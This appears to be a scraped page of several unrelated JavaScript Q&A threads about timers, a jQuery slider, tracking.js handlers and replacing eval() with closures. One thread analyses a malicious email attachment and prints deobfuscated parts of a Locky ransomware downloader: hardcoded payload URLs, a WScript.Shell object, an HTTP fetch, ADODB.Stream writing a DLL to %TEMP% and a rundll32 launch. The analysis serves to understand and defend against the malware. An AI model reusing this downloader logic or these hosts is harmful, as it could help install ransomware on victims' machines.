I have a setTimout loop being called repeatedly but the loop seems to catch up with itself and causes sticking on my page ect. I added a alert to see what was happening and i had the timer set to call every 10seconds, but the alert was being displayed oppressively faster until it was continuous
can anybody see why this is by my code below.
Many thanks
$(function(){
var running = setTimeout(function (){
var varLISTID = document.getElementById('datacatch').getAttribute("data-variable-LISTID");
var varUSERACCOUNTNAME = document.getElementById('datacatch').getAttribute("data-variable-USERACCOUNTNAME");
var varITEMACCOUNTNAME = document.getElementById('datacatch').getAttribute("data-variable-ITEMACCOUNTNAME");
var varSELECTEDUSER= document.getElementById('datacatchuser').getAttribute("data-variable-SELECTEDUSER");
var mylink = "loadmessages.php?listID=" + varLISTID + "&useraccountname=" + varUSERACCOUNTNAME + "&itemaccountname=" + varITEMACCOUNTNAME + "&selecteduser=" + varSELECTEDUSER;
$('#infobox1').load(mylink);
var myotherlink = "contactselect.php?listID=" + varLISTID + "&useraccountname=" + varUSERACCOUNTNAME + "&itemaccountname=" + varITEMACCOUNTNAME + "&selecteduser=" + varSELECTEDUSER;
$('#containercontact').load(myotherlink);
},10000);//10s
$(document).keypress(function() {
clearInterval(running);
})
});
Someone has been sending JS files in an attempt to try and lure me (and presumably others) into running the file and compromising their system.
Thing is, I have Mac and taking a look at this code it doesn't seem to be useful on Mac. As a JavaScript developer I'm not really sure how useful it could be, even on a Windows computer.
Code is too large to fit here so I posted it up on GitHub:
https://gist.github.com/anonymous/dfead201c8e5dc48f98548d0bdb7ac26
What the heck does this code do?
I ran it in a sandbox and it results in a console error.
Decided to post here the results I found (and not in a comment) as it takes a bit more than 600 chars ;).
So - the first run of the script (as posted on by comment) will give this code after obfuscation:
http://pastebin.com/cFuijfFS
Working on that - the code will run the following:
var IGv7=[Yc+Hu1+Yq8+Jj+KFg2+Ka6+Hk+OHi6+ULs4+EBb, Tj4 + Dk7+Pc2+Hj8+As + YXv5+TIk0+Rj+Kb3+NZa2+DVq+Vx+KIi+Yh4 + XTc5+NHe3+Pv6+ATm5, Tj4 + Dk7+Gl+QLu+Pr+KIi+So+Af1+Nu + Zz+Kb + Zn1+Ik+Vy4, Yc+It+Nd+Ty+Lc+DFu+Lf4+LEa4+Zh1 + Kc+LSk+Tu6, Vg7 + Tp7+AUi+OPo + Oi+NGu8+DXl1+Px9 + Fa + Js9+KPm];
// var IGv7=["http://econopaginas.com/kudrd", "http://baer-afc2.homepage.t-online.de/4yhgvna", "http://jhengineering.szm.com/on9wjn", "http://otwayorchard.net/eo240k", "http://rejoincomp2.in/1tdqo6"]
var Xl3=WScript[Sk6 + STd1 + Jz + GNu0](Zn4 + ALt + Qs8 + UQw);
// Xl3=WScript["CreateObject"]("WScript.Shell");
// Lets say X13 == SHELL
var XWe=Xl3.ExpandEnvironmentStrings(ZFq + YMy6);
// var XWe=SHELL.ExpandEnvironmentStrings("%TEMP%/")
var NQf6=XWe + Vm0 + LCo + Bp + Ty0;
// var NQf6=C:/TEMP/XfZn0ghPqqlucK
var Nt5=NQf6 + Aq4 + FQn5;
// var Nt5="C:/TEMP/XfZn0ghPqqlucK.dll"
var Vu = Xl3.Environment(Cf8 + EMb);
// var Vu = C:/system
// PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4 == "PROCESSOR_ARCHITECTURE"
if (Vu(PUb + YZg2 + BMc + Bs8 + DEa + HSu1 + Db4).toLowerCase() == "amd64")
{
// Check if we are in amd64
var UFn4 = Xl3.ExpandEnvironmentStrings(OMi0);
// var UFn4 = "%SystemRoot%\SysWOW64\rundll32.exe"
}
else
{
var UFn4 = Xl3.ExpandEnvironmentStrings(DCx);
// var UFn4 = "%SystemRoot%\system32\rundll32.exe"
}
...
var SPz0=[WQp1 + WCl1 + TYr1 + Np, Wd + CMz6 + Ey7 + GXj + Kk2 + Fb8 + POy1];
// SPz0=["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1"]
// Try to create the XMLHTTP object
for (var Lp9=0; Lp9 < SPz0[ETi8 + Fp]; Lp9++)
{
try
{
var MBi0=WScript[Sk6 + STd1 + Jz + GNu0](SPz0[Lp9]);
break;
}
catch (e)
{
continue;
}
};
var OPr3 = "";
// FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6 == "Scripting.FileSystemObject"
var fso = new ActiveXObject(FIj2 + HOf + LBa1 + ZJo + MPr8 + Az + DZx6);
var MTm6 = uheprng(Math.random().toString());
var ENa6=1;
do
{
// Check ACTIVEXOBJECT_FileSystemObject[FileExists](dll file from before)
if (fso[DQq + Js + Va + Vn](Nt5))
{
var Em = fso.GetFile(Nt5);
var DAb4 = Em.ShortPath;
OPr3 = DAb4+ZYz;
// check if the same dll file with ".txt" extension exists
if (fso[DQq + Js + Va + Vn](OPr3)) {
// run quite()
this[Dv + Dx + Go7][Jh + Nz3](824 - 824);
}
}
var HFw3 = MTm6(IGv7[ETi8 + Fp]);
try
{
if (1== ENa6)
{
// Do a GET request to the url "http://jhengineering.szm.com/on9wjn"
MBi0[NOc6](YRk1 + XWj, IGv7[HFw3++ % IGv7[ETi8 + Fp]], false);
MBi0[BBw + Co]();
}
if (MBi0.readystate < 4)
{
// WScript["Sleep"](100);
WScript[SJl + Hj](100);
continue;
}
var Nf=WScript[Sk6 + STd1 + Jz + GNu0](YPt6+CXb+Tv0+Da1 + Ng2);
// var Nf=WScript["CreateObject"]("ADODB.Stream")
// ADOBE_SCRIPT[open]()
Nf[NOc6]();
// ADOBE_SCRIPT[type] = 1
Nf[Aj9]=Yz;
// ADOBE_SCRIPT[write](content from the XMLHTTPRequest we just did)
Nf[Vr3](MBi0[Nb + Re + HKj + Zk]);
// Set position of the adodb.stream to 0
Nf[Hz + QWh5 + VSo5]=0;
// Save the content to the file NQf6 (the file in c:/temp)
Nf[WGa + Yh + OAk](NQf6, IDz0);
// close the file
Nf[Cz + FLv2]();
Still working on the rest, will update here with more info :)
It seems to run wscript which is a windows program to make administrative changes, yes that sounds like bad news for windows users who run this :P
And it uses 2 arrays to obfuscate the code, that will be run with eval, if anyone is not on a phone like me, copy the last lines starting by var Q1 and replace eval with console.log. this will output the js code that will probably show what evil it contains. It might be minified so run it trough a js prettifier, maybe it will have arrays again to obfuscate code again LOL, code inception.
Sadly I'm on a phone otherwise it would be a nice puzzle xD
Edit: too curious, gonna look into it with jsfiddle on my phone, touchscreens are a nightmare with stuff like this..
Edit2:
Code inception!
https://jsfiddle.net/3sn6o9o9/
.
See the js output it generates, more obfuscation, we must go deeper!
To sum it up: this is a downloader. It downloads an encrypted DLL from one of four hardcoded URLs, decrypts it (simple XOR with a PRNG stream) and then runs using rundll32 (with a specified parameter). The DLL contains Locky ransomware.
I've built a custom, dirt and quick, jQuery/JavaScript slider... which works great, except for one issue.
When using the 'Previous' button, it works perfectly the first time you click it, but then when you click it again, the length of the array becomes '2' when it should be '1' because there are only two results...
Code:
jQuery("#sliderNext").click(function(event) {
$("#sliderNext").fadeOut(50);
$("#sliderPrevious").fadeOut(50);
setTimeout(function() {
$("#sliderNext").fadeIn(100);
$("#sliderPrevious").fadeIn(100);
}, 900);
slideNumber++;
if(slideNumber < image.length && caption.length) {
jQuery(".slider-image").css("background-image", "url(" + image[slideNumber] + ")");
jQuery("#caption").text(caption[slideNumber]);
console.log("if: " + slideNumber);
}
else
{
slideNumber = 0;
jQuery(".slider-image").css("background-image", "url(" + image[slideNumber] + ")");
jQuery("#caption").text(caption[slideNumber]);
console.log("else: " + slideNumber);
}
});
jQuery("#sliderPrevious").click(function(event) {
$("#sliderNext").fadeOut(50);
$("#sliderPrevious").fadeOut(50);
setTimeout(function() {
$("#sliderNext").fadeIn(100);
$("#sliderPrevious").fadeIn(100);
}, 900);
slideNumber--;
console.log(image.length);
if(slideNumber >= 0 && slideNumber <= image.length) {
jQuery(".slider-image").css("background-image", "url(" + image[slideNumber] + ")");
jQuery("#caption").text(caption[slideNumber]);
console.log("if: " + slideNumber);
}
else
{
slideNumber = image.length;
jQuery(".slider-image").css("background-image", "url(" + image[slideNumber] + ")");
jQuery("#caption").text(caption[slideNumber]);
console.log("else: " + slideNumber);
console.log(image.length);
}
});
I've tried using different operators, if/else statements, it always sets it to 2 on the second click.
Could anybody point me in the right direction for why it would do this?
This might be because your click event gets bound the second time to the button and therefore jumps twice.
Try to "unbind" your click events before binding them.
$("#sliderPrevious").unbind();
// and then
jQuery("#sliderPrevious").click(function(event) {...});
Do this to every event that gets bound when intializing the page.
EDIT
var myArray = [a,b];
Note that myArray.length == 2 but myArray[2] is undefined.
Array indexes start at [0] thats why you have to substract 1 from your "counter" variable.
I am using tracking.js for facedetection and sending the result of facedetection to server through websocket. In the following code in if(event.data.length != 0) of setInterval runs for some iterations even after clearInterval command.Could anyone explain why is it happening?
var mainfunc = setInterval( function() {
ctx.drawImage(video, 0, 0, 400, 300);
tracking.track('#canvas', tracker);
tracker.on('track', function(event){
if (event.data.length != 0 ){
var center_x = event.data[0].x + (event.data[0].width/2);
var center_y = event.data[0].y +(event.data[0].height/2);
var str = center_x + " " + center_y +" " + center_image_x + " " + center_image_y + " " + flag ;
webSocket.send( str );
// dunno why it is executing number of times ??????????
clearInterval(mainfunc);
}
});
} , 0);
The probable reason you're getting multiple executions is that your code is registering "many" event handlers inside the interval callback (tracker.on(... happens in every callback). Then, only when that event arrives with the condition satisfying data do you clear the interval. That's probably a basic flaw in your logic that should be changed. Only register to the 'track' event 1 time.
It looks like there's a missunderstanding how tracking and the setInterval functions.
setInterval is meant to run a piece of code over and over again with a set interval (in milliseconds).
According to the tracking.js' website, you only start the tracking once and it'll keep tracking things.
Try changing your code to this:
var trackerTask = tracking.track('#canvas', myTracker);
myTracker.on('track', function(event){
if (event.data.length != 0 ){
var center_x = event.data[0].x + (event.data[0].width/2);
var center_y = event.data[0].y +(event.data[0].height/2);
var str = center_x + " " + center_y +" " + center_image_x + " " + center_image_y + " " + flag ;
webSocket.send( str );
trackerTask.stop(); // stopping the tracking
}
});
And now I'm not certain but I think you want to continously draw the video feed. You can do this in this way:
function drawVideo() {
requestAnimationFrame(drawVideo); //this will make sure it's redrawn as soon as the browser is ready
ctx.clearRect(0,0,canvas.width,canvas.height);
ctx.drawImage(video, 0, 0, 400, 300);
}
drawVideo(); //this call is needed to initiate drawing of the video.
I'm struggling with managing dynamically built event handlers in javascript.
In several places, I build forms, or controls in which specific events (mainly mouseovers, mouse-outs, clicks) need to be handled.
The trick is that in a significant number of cases, the event handler itself needs to incorporate data that is either generated by, or is passed-into the function that is building the form or control.
As such, I've been using "eval()" to construct the events and incorporate the appropriate data, and this has worked somewhat well.
The problem is I keep seeing/hearing things like "You should never use eval()!" as well as a couple of increasingly ugly implementations where my dynamically-built event handler needs to dynamically build other event handlers and the nested evals are pretty obtuse (to put it mildly).
So I'm here, asking if someone can please show me the better way (native javascript only please, I'm not implementing any third-party libraries!).
Here's a crude example to illustrate what I'm talking about:
function CreateInput(controlName,type,activeStyle,dormantStyle,whenClicked)
{
var inp = document.createElement('input');
inp.id = controlName;
inp.type = type;
inp.style.cssText = dormantStyle;
eval("inp.onfocus = function() { this.style.cssText = '" + activeStyle + "'; }");
eval("inp.onblur = function() { this.style.cssText = '" + dormantStyle + "'; }");
eval("inp.onclick = function() { " + whenClicked + "; }");
return inp;
}
This function obviously would let me easily create lots of different INPUT tags and specify a number of unique attributes and event actions, with just a single function call for each. Again, this is an extremely simplified example, just to demonstrate what I'm talking about, in some cases with the project I'm on currently, the events can incorporate dozens of lines, they might even make dynamic ajax calls based on a passed parameter or other dynamically generated data. In more extreme cases I construct tables, whose individual rows/columns/cells may need to process events based on the dynamically generated contents of the handler, or the handler's handler.
Initially, I had built functions like the above as so:
function CreateInput(controlName,type,activeStyle,dormantStyle,whenClicked)
{
var inp = document.createElement('input');
inp.id = controlName;
inp.type = type;
inp.style.cssText = dormantStyle;
inp.onfocus = function() { this.style.cssText = activeStyle; };
inp.onblur = function() { this.style.cssText = dormantStyle; };
eval("inp.onclick = function() { " + whenClicked + "; }");
return inp;
}
...but I found that whatever the last assigned value had been for "activeStyle", and "dormantStyle" became the value used by all of the handlers thusly created (instead of each retaining its own unique set of styles, for example). That is what lead me to using eval() to "lock-in" the values of the variables when the function was created, but this has lead me into nightmares such as the following:
(This is a sample of one dynamically-built event-handler that I'm currently working on and which uses a nested eval() function):
eval("input.onkeyup = function() { " +
"InputParse(this,'ucwords'); " +
"var tId = '" + myName + This.nodeName + "SearchTable" + uidNo + "'; " +
"var table = document.getElementById(tId); " +
"if (this.value.length>2) { " +
"var val = (this.value.indexOf(',') >=0 ) ? this.value.substr(0,this.value.indexOf(',')) : this.value; " +
"var search = Global.LoadData('?fn=citySearch&limit=3&value=' + encodeURI(val)); " +
"if (table) { " +
"while (table.rows.length>0) { table.deleteRow(0); } " +
"table.style.display='block'; " +
"} else { " +
"table = document.createElement('table'); " +
"table.id = tId; " +
"ApplyStyleString('" + baseStyle + ";position=absolute;top=20px;left=0px;display=block;border=1px solid black;backgroundColor=rgba(224,224,224,0.90);zIndex=1000;',table); " +
"var div = document.getElementById('" + divName + "'); " +
"if (div) { div.appendChild(table); } " +
"} " +
"if (search.rowCount()>0) { " +
"for (var i=0; i<search.rowCount(); i++) { " +
"var tr = document.createElement('tr'); " +
"tr.id = 'SearchRow' + i + '" + uidNo + "'; " +
"tr.onmouseover = function() { ApplyStyleString('cursor=pointer;color=yellow;backgroundColor=rgba(40,40,40,0.90);',this); }; " +
"tr.onmouseout = function() { ApplyStyleString('cursor=default;color=black;backgroundColor=rgba(224,224,224,0.90);',this); }; " +
"eval(\"tr.onclick = function() { " +
"function set(id,value) { " +
"var o = document.getElementById(id); " +
"if (o && o.value) { o.value = value; } else { alert('Could not find ' + id); } " +
"} " +
"set('" + myName + This.nodeName + "CityId" + uidNo + "','\" + search.id(i)+ \"'); " +
"set('" + myName + This.nodeName + "ProvId" + uidNo + "','\" + search.provId(i)+ \"'); " +
"set('" + myName + This.nodeName + "CountryId" + uidNo + "','\" + search.countryId(i) + \"'); " +
"set('" + input.id + "','\" + search.name(i)+ \"'); " +
"}\"); " +
"var td = document.createElement('td'); " +
"var re = new RegExp('('+val+')', 'gi'); " +
"td.innerHTML = search.name(i).replace(re,'<span style=\"font-weight:bold;\">$1</span>') + ', ' + search.provinceName(i) + ', ' + search.countryName(i); " +
"tr.appendChild(td); " +
"table.appendChild(tr); " +
"} " +
"} else { " +
"var tr = document.createElement('tr'); " +
"var td = document.createElement('td'); " +
"td.innerHTML = 'No matches found...';" +
"tr.appendChild(td); " +
"table.appendChild(tr); " +
"} " +
"} else { " +
"if (table) table.style.display = 'none'; " +
"} " +
"} ");
Currently, I'm having problems getting the nested eval() to bind the ".onclick" event to the table-row, and, as you can see, figuring out the code is getting pretty hairy (debugging too, for all the known reasons)... So, I'd really appreciate it if someone could point me in the direction of being able to accomplish these same goals while avoiding the dreaded use of the "eval()" statement!
Thanks!
And this, among many other reasons, is why you should never use eval. (What if those values you're "baking" in contain quotes? Oops.) And more generally, try to figure out why the right way doesn't work instead of beating the wrong way into submission. :)
Also, it's not a good idea to assign to on* attributes; they don't scale particularly well. The new hotness is to use element.addEventListener, which allows multiple handlers for the same event. (For older IE, you need attachEvent. This kind of IE nonsense is the primary reason we started using libraries like jQuery in the first place.)
The code you pasted, which uses closures, should work just fine. The part you didn't include is that you must have been doing this in a loop.
JavaScript variables are function-scoped, not block-scoped, so when you do this:
var callbacks = [];
for (var i = 0; i < 10; i++) {
callbacks.push(function() { alert(i) });
}
for (var index in callbacks) {
callbacks[index]();
}
...you'll get 9 ten times. Each run of the loop creates a function that closes over the same variable i, and then on the next iteration, the value of i changes.
What you want is a factory function: either inline or independently.
for (var i = 0; i < 10; i++) {
(function(i) {
callbacks.push(function() { alert(i) });
})(i);
}
This creates a separate function and executes it immediately. The i inside the function is a different variable each time (because it's scoped to the function), so this effectively captures the value of the outer i and ignores any further changes to it.
You can break this out explicitly:
function make_function(i) {
return function() { alert(i) };
}
// ...
for (var i = 0; i < 10; i++) {
callbacks.push(make_function(i));
}
Exactly the same thing, but with the function defined independently rather than inline.
This has come up before, but it's a little tricky to spot what's causing the surprise.
Even your "right way" code still uses strings for the contents of functions or styles. I would pass that click behavior as a function, and I would use classes instead of embedding chunks of CSS in my JavaScript. (I doubt I'd add an ID to every single input, either.)
So I'd write something like this:
function create_input(id, type, active_class, onclick) {
var inp = document.createElement('input');
inp.id = id;
inp.type = type;
inp.addEventListener('focus', function() {
this.className = active_class;
});
inp.addEventListener('blur', function() {
this.className = '';
});
inp.addEventListener('click', onclick);
return inp;
}
// Called as:
var textbox = create_input('unique-id', 'text', 'focused', function() { alert("hi!") });
This has some problems still: it doesn't work in older IE, and it will remove any class names you try to add later. Which is why jQuery is popular:
function create_input(id, type, active_class, onclick) {
var inp = $('<input>', { id: id, type: type });
inp.on('focus', function() {
$(this).addClass(active_class);
});
inp.on('blur', function() {
$(this).removeClass(active_class);
});
inp.on('click', onclick);
return inp;
}
Of course, even most of this is unnecessary—you can just use the :focus CSS selector, and not bother with focus and blur events at all!
You don't need eval to "lock in" a value.
It's not clear from the posted code why you're seeing the values change after CreateInput returns. If CreateInput implemented a loop, then I would expect the last values assigned to activeStyle and dormantStyle to be used. But even calling CreateInput from a loop will not cause the misbehavior you describe, contrary to the commenter.
Anyway, the solution to this kind of stale data is to use a closure. JavaScript local variables are all bound to the function call scope, no matter if they're declared deep inside the function or in a loop. So you add a function call to force new variables to be created.
function CreateInput(controlName,type,activeStyle,dormantStyle,whenClicked)
{
while ( something ) {
activeStyle += "blah"; // modify local vars
function ( activeStyle, dormantStyle ) { // make copies of local vars
var inp = document.createElement('input');
inp.id = controlName;
inp.type = type;
inp.style.cssText = dormantStyle;
inp.onfocus = function() { this.style.cssText = activeStyle; };
inp.onblur = function() { this.style.cssText = dormantStyle; };
inp.onclick = whenClicked;
}( activeStyle, dormantStyle ); // specify values for copies
}
return inp;
}